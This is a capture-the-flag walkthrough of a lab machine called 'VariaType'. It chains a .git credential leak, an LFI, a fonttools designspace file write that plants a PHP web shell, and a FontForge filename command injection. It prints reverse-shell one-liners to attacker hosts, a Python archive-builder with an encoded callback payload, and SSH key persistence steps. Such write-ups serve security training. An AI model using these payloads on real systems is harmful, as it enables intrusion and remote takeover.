1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

TXT
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
|   256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open  http    syn-ack nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 Web Application

A web application that lets us generate a variable font from uploaded files:

So this already looked like an upload-to-RCE challenge. The first job was to identify the backend stack, especially since the routing hid the real file layout.

http://variatype.htb/services outlined the application workflow:

That page gave us the first real clue about the backend. The workflow explicitly referenced fonttools, fontmake, and gftools, which suggested the application was actually processing attacker-controlled font data rather than just storing uploads.

1.3 Web Fuzzing

1.3.1 Subdomains

Start probing vhosts with a small wordlist:

axura @ labyrinth :~
$ gobuster vhost -u http://variatype.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://variatype.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]
Progress: 20000 / 20000 (100.00%)
===============================================================
Finished
===============================================================

That immediately gave us an internal-looking vhost:

That confirmed a PHP-backed portal.

1.3.2 Path Exploision

Fuzz web directories and files:

axura @ labyrinth :~
$ gobuster dir -u http://portal.variatype.htb -w /home/Axura/wordlists/SecLists/Discovery/Web-Content/raft-medium-files.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.variatype.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/Axura/wordlists/SecLists/Discovery/Web-Content/raft-medium-files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 2494]
download.php         (Status: 302) [Size: 0] [--> /]
auth.php             (Status: 200) [Size: 0]
view.php             (Status: 302) [Size: 0] [--> /]
.                    (Status: 200) [Size: 2494]
styles.css           (Status: 200) [Size: 8789]
dashboard.php        (Status: 302) [Size: 0] [--> /]
.git                 (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
Progress: 17129 / 17129 (100.00%)
===============================================================
Finished
===============================================================

Git leak confirmed.


2 WEB

2.1 Git Leak

We will not dwell on the Git leak itself, as it is a familiar issue and covered in more detail at https://4xura.com/hacktag/:

Use the tool git-dumper to dump the repository:

Bash
git-dumper http://portal.variatype.htb/.git git-dumped

The dumped repository looked like this:

axura @ labyrinth :~
$ tree git-dumped -a
git-dumped
├── auth.php
└── .git
    ├── COMMIT_EDITMSG
    ├── config
    ├── description
    ├── HEAD
    ├── hooks
    │   ├── applypatch-msg.sample
    │   ├── commit-msg.sample
    │   ├── post-update.sample
    │   ├── pre-applypatch.sample
    │   ├── pre-commit.sample
    │   ├── prepare-commit-msg.sample
    │   ├── pre-push.sample
    │   ├── pre-rebase.sample
    │   ├── pre-receive.sample
    │   └── update.sample
    ├── index
    ├── info
    │   └── exclude
    ├── logs
    │   ├── HEAD
    │   └── refs
    │       └── heads
    │           └── master
    ├── objects
    │   ├── 03
    │   │   └── 0e929d424a937e9bd079794a7e1aaf366bcfaf
    │   ├── 50
    │   │   └── 30e791b764cb2a50fcb3e2279fea9737444870
    │   ├── 61
    │   │   └── 5e621dce970c2c1c16d2a1e26c12658e3669b3
    │   ├── 6f
    │   │   └── 021da6be7086f2595befaa025a83d1de99478b
    │   ├── 75
    │   │   └── 3b5f5957f2020480a19bf29a0ebc80267a4a3d
    │   ├── b3
    │   │   └── 28305f0e85c2b97a7e2a94978ae20f16db75e8
    │   └── c6
    │       └── ea13ef05d96cf3f35f62f87df24ade29d1d6b4
    ├── ORIG_HEAD
    └── refs
        └── heads
            └── master

17 directories, 28 files

At first this looked underwhelming. The recovered working tree was tiny, and auth.php did not expose anything useful:

PHP
<?php
session_start();
$USERS = [];

But an exposed Git repository is still valuable even when the checked-out files look clean. Removed content often survives in commit history, so the next step was to review earlier revisions and see whether credentials had existed before.

axura @ labyrinth :~
$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
    modified:   auth.php

The first clue came from git log:

axura @ labyrinth :~
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <[email protected]>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <[email protected]>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation
(END)

Then git show HEAD revealed exactly what had been missing from the current working tree:

axura @ labyrinth :~
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <[email protected]>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
(END)

The leaked history gave us a valid portal account:

  • Username: gitbot
  • Password: G1tB0t_Acc3ss_2025!

With that, logging into portal.variatype.htb was straightforward and gave us access to the authenticated portal features.

2.2 LFI

2.2.1 LFI Entry

From section 1.3.2, we already knew download.php, which expects a file parameter:

Use BurpSuite Intruder with the SecList parameter wordlist:

File Path
/home/Axura/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt

Filter out responses containing:

Text
File parameter required.

So f was the parameter we needed.

From there, we probed for LFI with another SecList wordlist:

File Path
/home/Axura/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt

Filter out the negative response:

Text
File not found.

Jackpot:

Working LFI payload:

URL
http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd

Reading /etc/passwd immediately revealed the local users:

/etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin

Only steve and root had real login shells, while variatype turns out to be a service account.

2.2.2 LFI Automation Script

For convenience, we wrote a small Python helper:

Python
#!/usr/bin/env python3
import sys
import requests


BASE_URL = "http://portal.variatype.htb"
USERNAME = "gitbot"
PASSWORD = "G1tB0t_Acc3ss_2025!"
TRAVERSAL = "....//" * 5


if len(sys.argv) != 2:
    print(f"usage: python {sys.argv[0]} /etc/passwd")
    sys.exit(1)

path = sys.argv[1].lstrip("/")

s = requests.Session()
s.post(f"{BASE_URL}/", data={"username": USERNAME, "password": PASSWORD})
r = s.get(f"{BASE_URL}/download.php", params={"f": TRAVERSAL + path})

print(r.text)

2.2.3 Local File Enumeration

With LFI confirmed, the next step was to let Nginx tell us how the host was wired together.

2.2.3.1 Nginx Configuration

The main Nginx configuration pointed to two vhost files:

axura @ labyrinth :~
$ python lfi.py /etc/nginx/nginx.conf | grep include
include /etc/nginx/modules-enabled/*.conf;
    include /etc/nginx/mime.types;
    include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;

We started with the portal vhost, since that was the part we already controlled:

axura @ labyrinth :~
$ python lfi.py /etc/nginx/sites-enabled/portal.variatype.htb
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}
  • webroot: /var/www/portal.variatype.htb/public
  • PHP is executed by php-fpm

That gave us a reliable filesystem path, so the next move was to read the portal source directly:

Bash
python lfi.py /var/www/portal.variatype.htb/public/download.php
python lfi.py /var/www/portal.variatype.htb/public/auth.php
python lfi.py /var/www/portal.variatype.htb/public/index.php
python lfi.py /var/www/portal.variatype.htb/public/dashboard.php
python lfi.py /var/www/portal.variatype.htb/public/view.php

Those files did not reveal anything more useful than the LFI and credential leak we already had, so attention shifted to the main domain.

The second vhost, variatype.htb, told a different story:

axura @ labyrinth :~
$ python lfi.py /etc/nginx/sites-enabled/variatype.htb
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _;

    return 301 http://variatype.htb$request_uri;
}

server {
    listen 80;
    server_name variatype.htb;

    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

}
  • variatype.htb is reverse-proxied to 127.0.0.1:5000
  • so the real target is the backend application behind nginx

Once the proxy target was clear, the next job was to trace it back to the local process. Since the application name was already exposed as variatype (see /etc/passwd in section 2.2.1), the matching unit file under /etc/systemd/system/ was the obvious next check:

Bash
python lfi.py /etc/systemd/system/variatype.service

That finally linked the reverse proxy to a real process:

INI
[Unit]
Description=VariaType
After=network.target nginx.service

[Service]
Type=simple
User=variatype
Group=www-data
WorkingDirectory=/opt/variatype
ExecStart=/usr/bin/python3 app.py

Restart=always
RestartSec=10

StandardOutput=journal
StandardError=journal
SyslogIdentifier=variatype

ReadWritePaths=/var/www/portal.variatype.htb/public/files
ReadWritePaths=/opt/variatype

[Install]
WantedBy=multi-user.target
  • the backend runs as user variatype
  • the working directory is /opt/variatype
  • app.py is the startup script for this Flask app
  • the application can write to /var/www/portal.variatype.htb/public/files

2.2.3.2 Python Flask Application

With the service path confirmed, the next file to inspect was /opt/variatype/app.py:

Python
import os
import tempfile
import subprocess
import shutil
import secrets
from flask import Flask, render_template, request, redirect, url_for, flash, send_file

app = Flask(__name__)
app.secret_key = '7e052f614c5f9d5da3249cc4c6d9a950053aed370b8464d2e8a81d41ff0e3371'

UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(DOWNLOAD_FOLDER, exist_ok=True)

@app.route('/')
def home():
    return render_template('home.html')

@app.route('/services')
def services():
    return render_template('services.html')

@app.route('/tools/variable-font-generator')
def variable_font_generator():
    return render_template('tools/variable_font_generator.html')

@app.route('/tools/variable-font-generator/process', methods=['POST'])
def process_variable_font():
    designspace = request.files.get('designspace')
    master_fonts = request.files.getlist('masters')

    if not designspace or not master_fonts:
        flash('Please upload a .designspace file and at least one master font (.ttf/.otf).', 'error')
        return redirect(url_for('variable_font_generator'))

    if not designspace.filename.endswith('.designspace'):
        flash('The main file must be a valid .designspace document.', 'error')
        return redirect(url_for('variable_font_generator'))

    unique_id = secrets.token_urlsafe(8)
    download_filename = f"variabype_{unique_id}.ttf"
    download_path = os.path.join(DOWNLOAD_FOLDER, download_filename)

    with tempfile.TemporaryDirectory(dir=UPLOAD_FOLDER) as workdir:
        ds_path = os.path.join(workdir, 'config.designspace')
        designspace.save(ds_path)

        for font in master_fonts:
            if font.filename.endswith(('.ttf', '.otf')):
                font.save(os.path.join(workdir, font.filename))
            else:
                flash('Only .ttf and .otf master fonts are supported.', 'error')
                return redirect(url_for('variable_font_generator'))

        try:
            subprocess.run(
                ['fonttools', 'varLib', 'config.designspace'],
                cwd=workdir,
                check=True,
                timeout=30
            )

            output_file = None
            for f in os.listdir(workdir):
                if f != 'config.designspace' and not f.startswith('.'):
                    output_file = f
                    break

            if output_file:
                shutil.copy2(os.path.join(workdir, output_file), download_path)

            return render_template('tools/success.html', download_id=unique_id)

        except subprocess.TimeoutExpired:
            flash('Font generation timed out.', 'error')
            return redirect(url_for('variable_font_generator'))
        except subprocess.CalledProcessError:
            flash('Font generation failed during processing.', 'error')
            return redirect(url_for('variable_font_generator'))
        except Exception:
            flash('An unexpected error occurred.', 'error')
            return redirect(url_for('variable_font_generator'))

@app.route('/download/<download_id>')
def download_file(download_id):
    if not download_id.replace('_', '').replace('-', '').isalnum():
        flash('Invalid download ID.', 'error')
        return redirect(url_for('variable_font_generator'))

    filename = f"variabype_{download_id}.ttf"
    path = os.path.join(DOWNLOAD_FOLDER, filename)

    if os.path.exists(path):
        user_filename = f"MyVariableFont_{download_id}.ttf"
        return send_file(path, as_attachment=True, download_name=user_filename)
    else:
        flash('File not available for download.', 'error')
        return redirect(url_for('variable_font_generator'))
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

This source file clarified the architecture:

  • uploaded files are staged under /tmp/variabype_uploads
  • generated output is copied into /var/www/portal.variatype.htb/public/files
  • font generation is handled by subprocess.run(['fonttools', 'varLib', 'config.designspace'], ...)

That subprocess call is what actually processes the upload. The backend saves our .designspace file as config.designspace, then runs fonttools varLib against it inside the working directory. So the uploaded designspace is not just stored on disk; it is parsed and used to generate the output font.

2.3 Fonttools

The leaked app.py confirmed what the /services page in section 1.2 had already hinted. The fonttools reference was not cosmetic: an attacker-controlled .designspace file was passed straight into fonttools varLib, and the output was written into a web-accessible directory served by the PHP portal.

2.3.1 Vulnerability Entry

The vulnerable entry can be summarized directly from process_variable_font():

Python
designspace = request.files.get('designspace')

if not designspace.filename.endswith('.designspace'):
    flash('The main file must be a valid .designspace document.', 'error')
    return redirect(url_for('variable_font_generator'))

ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)

subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir,
    check=True,
    timeout=30
)

The application only checked the filename extension, saved the attacker-controlled .designspace file to disk, and then handed it directly to fonttools varLib.

2.3.2 CVE-2025-66034

2.3.2.1 Overview

At that point, the relevant issue was CVE-2025-66034, a fonttools varLib vulnerability that allows arbitrary file write and XML injection when a malicious .designspace file is processed.

The advisory described two primitives that mattered here:

  • the filename attribute in the designspace file can control where the generated file is written
  • XML content such as labelname can influence the generated file contents

In this application, that was enough to turn the font generator into a file-write primitive against /var/www/portal.variatype.htb/public/files, which the portal later served back to users.

On this target, that gave us a clear objective:

use a crafted .designspace file to write attacker-controlled output into the portal file directory, then use the XML injection primitive to shape the written content into something executable.

2.3.2.2 Arbitrary File Write

The first primitive to validate was file placement.

The advisory shows that the filename attribute inside <variable-font> is not safely constrained, so instead of accepting the default generated .ttf path we can point it at the portal file directory:

XML
<variable-font
    name="MyFont"
    filename="/var/www/portal.variatype.htb/public/files/glyph-check.php">

That path was already trustworthy from earlier enumeration:

  • the Flask backend copies generated output into /var/www/portal.variatype.htb/public/files
  • the portal vhost exposes that same directory under /files/

So the first half of the exploit was simple: replace the generated font output path with a web-accessible PHP file path.

2.3.2.3 XML Injection

The second primitive was content control.

The advisory notes that XML fields such as labelname can be injected into the generated file output. In practice, that lets us shape the written file instead of ending up with a harmless font blob.

A minimal malicious designspace looked like this:

XML
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php passthru($_REQUEST["x"]); ?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/glyph-check.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

With that file prepared, the upload step stayed entirely inside the normal application workflow. Request parameters can be discovered from the HTTP packages:

Use curl:

Bash
curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \
  -F "[email protected]" \
  -F "[email protected]" \
  -F "[email protected]"

If the exploit works, fonttools varLib writes the generated output to:

File Path
/var/www/portal.variatype.htb/public/files/glyph-check.php

and the portal exposes it at:

URL
http://portal.variatype.htb/files/glyph-check.php

That turns the fonttools bug into code execution via:

Request
http://portal.variatype.htb/files/glyph-check.php?x=id

2.3.3 Exploit

2.3.3.1 Setup

Since the application validated the uploaded files, the exploit still had to look like a legitimate font project.

Just reuse any valid local fonts and rename them to match the designspace:

Bash
cp /usr/share/fonts/TTF/Hack-Regular.ttf source-light.ttf
cp /usr/share/fonts/TTF/Hack-Regular.ttf source-regular.ttf

If that path does not exist on OS, locate other local .ttf files first.

2.3.3.2 Designspace

With the master fonts in place, create xpl.designspace and keep the source filenames aligned with the uploaded files:

XML
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php passthru($_REQUEST["x"]); ?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/glyph-check.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

At that point, the upload request stayed identical to the normal workflow, but the generated output was redirected into a PHP file under the portal file directory.

2.3.3.3 Upload

Submit the project with curl:

Bash
curl -s -i -X POST \
    http://variatype.htb/tools/variable-font-generator/process \
    -F "[email protected]" \
    -F "[email protected]" \
    -F "[email protected]"

fonttools varLib writes the generated output to:

File Path
/var/www/portal.variatype.htb/public/files/glyph-check.php

2.3.3.4 Validation

Optionally, validate that the generated PHP file was written:

Bash
python lfi.py /var/www/portal.variatype.htb/public/files/glyph-check.php

Since the portal exposes that directory under /files/, the resulting file can be triggered directly:

Bash
cmd="curl http://$attackerIp/ping"
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
    --data-urlencode "x=$cmd"

Jackpot:

A successful callback confirmed code execution as the web server user.

2.3.3.5 Reverse Shell

Now we can replace the cmd command content to capture a reverse shell:

Bash
cmd="bash -c \"bash -i >& /dev/tcp/$attackerIp/443 0>&1\""
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
    --data-urlencode "x=$cmd"

Shell as www-data:

axura @ labyrinth :~
$ sudo rlwrap nc -lnvp 443
Connection from 10.129.78.103:49012
bash: cannot set terminal process group (3517): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public/files$ pwd
/var/www/portal.variatype.htb/public/files

3 USER

3.1 Cron Script

We already knew the variatype app lived under /opt, and a backup file there immediately stood out:

axura @ labyrinth :~
www-data@variatype:/tmp$ cd /opt
www-data@variatype:/opt$ ls
font-tools  process_client_submissions.bak  variatype
www-data@variatype:/opt$ file process*
process_client_submissions.bak: Bourne-Again shell script, ASCII text executable

It was a shell script:

Bash
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <[email protected]>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

This script defined the next privilege boundary.

  • it watches /var/www/portal.variatype.htb/public/files
  • it processes user-controlled uploads after they land on disk
  • it runs fontforge against multiple file types, including .zip and .tar
  • it later moves the processed file into Steve's home directory

The dangerous part was the decision to pass attacker-controlled archives and font files into fontforge:

Bash
timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
...
font = fontforge.open('$file')
"

The backup script strongly suggested a post-processing workflow tied to Steve. pspy gave us the missing execution proof:

That confirmed this was not just a leftover backup script. The real workflow ran as UID=1000 (steve), executed /home/steve/bin/process_client_submissions.sh, and launched the same fontforge command against files in /var/www/portal.variatype.htb/public/files.

3.2 FontForge

3.2.1 Overview

The pspy output already showed that Steve's processing job was reopening files from /var/www/portal.variatype.htb/public/files with FontForge. That moved the attack surface forward: files placed in the shared portal directory from the www-data foothold were later parsed again inside Steve's workflow.

The relevant operation was:

Python
fontforge.open('$file')

and the shared directory was writable from the web foothold:

axura @ labyrinth :~
www-data@variatype:~/portal.variatype.htb/public/files$ ls -l
total 4880
-rw-r--r-- 1 variatype www-data  310588 Mar 15 01:00 glyph-check.php
-rw-r--r-- 1 www-data  www-data 5017600 Mar 15 01:38 typescript
-rw-r--r-- 1 variatype www-data  309408 Mar 15 00:30 variabype_GT7nXlmUA_0.ttf
-rw-r--r-- 1 variatype www-data  309408 Mar 15 01:00 variabype_Kifi5K510Qc.ttf
-rw-r--r-- 1 variatype www-data  309408 Mar 15 00:31 variabype_rezPUy_2pT0.ttf
www-data@variatype:~/portal.variatype.htb/public/files$ ls -ld .
drwxrwsr-x 2 www-data www-data 4096 Mar 15 01:08 .

That made FontForge the next parser in the chain.

3.2.2 CVE-2024-25081

The relevant issue here was CVE-2024-25081, which affects FontForge through 20230101 and allows command injection through crafted filenames.

3.2.2.1 Patch Review

The fix commit is a640999. Reading that patch shows the bug lived in FontForge's archive and decompression helpers. Before the fix, attacker-controlled filenames were embedded into shell command strings and executed with system(...).

Archive listing and extraction were implemented like this:

Diff
-    listcommand = malloc( strlen(archivers[i].unarchive) + 1 +
-                        strlen( archivers[i].listargs) + 1 +
-                        strlen( name ) + 3 +
-                        strlen( listfile ) +4 );
-    sprintf( listcommand, "%s %s %s > %s", archivers[i].unarchive,
-        archivers[i].listargs, name, listfile );
-    if ( system(listcommand)!=0 ) {
Diff
-    unarchivecmd = malloc( strlen(archivers[i].unarchive) + 1 +
-                        strlen( archivers[i].listargs) + 1 +
-                        strlen( name ) + 1 +
-                        strlen( desiredfile ) + 3 +
-                        strlen( archivedir ) + 30 );
-    sprintf( unarchivecmd, "( cd %s ; %s %s %s %s ) > /dev/null", archivedir,
-        archivers[i].unarchive,
-        archivers[i].extractargs, name, doall ? "" : desiredfile );
-    if ( system(unarchivecmd)!=0 ) {

The decompression path followed the same pattern:

Diff
-    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfn );
-    if ( system(buf)==0 )
-        return( tmpfn );

The patch replaced those shell-built strings with argument arrays and g_spawn_* calls:

Diff
+    command[0] = archivers[i].unarchive;
+    command[1] = archivers[i].listargs;
+    command[2] = name;
+    command[3] = NULL;
+
+    if ( g_spawn_sync(
+                      NULL,
+                      command,
+                      NULL,
+                      G_SPAWN_SEARCH_PATH,
Diff
+    command[0] = compressors[compression].decomp;
+    command[1] = "-c";
+    command[2] = name;
+    command[3] = NULL;
+
+    if (g_spawn_async_with_pipes(
+      NULL,
+      command,
+      NULL,
+      G_SPAWN_DO_NOT_REAP_CHILD | G_SPAWN_SEARCH_PATH,

In the vulnerable version, filenames were interpreted by a shell; while in the patched version, they were passed as plain arguments.

So if a filename contained shell syntax such as command substitution, the old code would execute it.

3.2.2.2 Vulnerability Analysis

The local processing script (process_client_submissions.sh) accepted archive types and then passed them into FontForge:

Bash
EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

The vulnerable code paths were FontForge's archive listing, extraction, and decompression helpers, not ordinary font parsing. So to match the proven bug path, the exploit had to use a malicious archive or compressed file.

The fix commit shows the vulnerable code was not generic .ttf parsing logic; it was the code that handled archive and compressed inputs:

  • Unarchive(...) constructed listcommand and unarchivecmd
  • Decompress(...) constructed buf

Those values were then executed with:

C
system(listcommand)
system(unarchivecmd)
system(buf)

That matters because a plain .ttf does not need archive listing, extraction, or decompression. A .zip, .tar, or .tar.gz does. So if the goal is to hit the exact vulnerable path proven by the patch, the payload should be delivered as an archive rather than as a standalone font file.

On this target, .zip was the cleanest option because it was explicitly accepted by Steve's processing script and aligned directly with the vulnerable FontForge archive-handling code.

3.2.3 Exploit

To stay aligned with the vulnerable path, the payload was delivered as a ZIP archive. The outer archive name stayed harmless, while the malicious shell syntax lived in the filename of the file stored inside the archive.

3.2.3.1 Build Malicious Archive

Generate exploit.zip with a valid font as the archive member content, and keep the callback parameters explicit:

Python
#!/usr/bin/env python3
import base64
import zipfile
from pathlib import Path

# Configuration
attacker_ip = "10.10.13.68"
attacker_port = 60001
font_path = "/usr/share/fonts/TTF/Hack-Regular.ttf"

# Construct injection
command = f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
payload = base64.b64encode(command.encode()).decode()

font_data = Path(font_path).read_bytes()

member_name = f"$(echo {payload}|base64 -d|bash).ttf"

# Compress
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(member_name, font_data)

print("[+] exploit.zip created")

That archive kept the trigger exactly where the patch showed the bug: in the filename processed by FontForge's archive-handling code.

axura @ labyrinth :~
$ python xpl.py
[+] exploit.zip created
$ file exploit.zip
exploit.zip: Zip archive data, made by v2.0 UNIX, extract using at least v2.0, last modified Mar 14 2026 23:19:10, uncompressed size 309408, method=deflate
$ unzip -l exploit.zip
Archive:  exploit.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   309408  2026-03-14 23:19   $(echo YmFz****...******AYxJw==|base64 -d|bash).ttf
---------                     -------
   309408                     1 file

3.2.3.2 Deliver Payload

Host the archive locally:

Bash
python -m http.server 80

Then, from the www-data foothold, place it into Steve's watched directory:

Bash
cd /var/www/portal.variatype.htb/public/files/
curl -O http://10.10.13.68/exploit.zip

3.2.3.3 Reverse Shell

Start a listener on the callback port:

Bash
# port matches in py script
rlwrap nc -lvnp 60001

Once Steve's processing job opened the archive, the crafted internal filename was interpreted by the vulnerable FontForge code path and the reverse shell connected back as steve:

3.2.3.4 SSH

To stabilize the foothold, add an SSH public key for steve from the reverse shell.

Generate a key pair locally:

Bash
ssh-keygen -t ed25519 -f /tmp/steve_key -N ""
cat /tmp/steve_key.pub

Then, from the steve shell, create the SSH directory and add the public key:

Bash
mkdir -p ~/.ssh
chmod 700 ~/.ssh
steve_key_pub="'PASTE_PUBLIC_KEY_HERE'"
echo "$steve_key_pub" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Reconnect with:

Bash
ssh -i /tmp/steve_key [email protected]

That gave us a much more stable session:

axura @ labyrinth :~
$ ssh -i /tmp/steve_key [email protected]
